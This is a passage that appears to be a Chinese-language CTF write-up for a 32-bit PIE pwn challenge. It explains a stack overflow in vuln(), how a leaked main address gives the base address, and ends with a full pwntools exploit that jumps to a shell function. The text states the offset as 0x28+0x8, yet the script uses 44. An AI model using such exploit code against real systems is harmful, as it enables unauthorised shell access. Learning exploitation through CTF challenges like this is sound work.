32位开启了pie保护
IDA中值得注意的三个函数 vuln函数中return read(0, buf, 0x50u);
栈溢出 offet = 0x28+0x8
由于开了pie保护 ida中的基本函数地址不可用 所以我们可以要算出函数的偏移
通过什么泄露呢?
由于Partial RELRO got表可以泄露 能不能算出libc呢?
!他给了一个gift 每次运行都会泄露main的地址
1 2 3 4
| OHHH!,give you a gift![DEBUG] Received 0x13 bytes: b'\n' b'0x565ef770\n' b'Input:\n'
|
1 2 3 4
| OHHH!,give you a gift![DEBUG] Received 0x13 bytes: b'\n' b'0x565d8770\n' b'Input:\n'
|
通过ida可以知道 770是函数的偏移量 所以每次的基地址就是770前面的内容
我们只需要recv gift的内容就好了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * from LibcSearcher import * context( terminal=["wt.exe","wsl"], os = "linux", arch = "i386", log_level="debug", ) elf = ELF("./pwn") io = process("./pwn")
def debug(): gdb.attach(io) pause() debug() offset = 44 shellbase = elf.sym['shell'] io.recvuntil(b'0x')//从0x开始接受 main_addr = int(io.recv(8),16) //接受8位数据
print(hex(main_addr)) base_addr =main_addr - 0x770 print(hex(base_addr)) shell_addr = base_addr + 0x80F print(hex(shell_addr)) payload = cyclic(offset)+p32(shell_addr) io.sendlineafter(b'Input:\n',payload) io.interactive()
|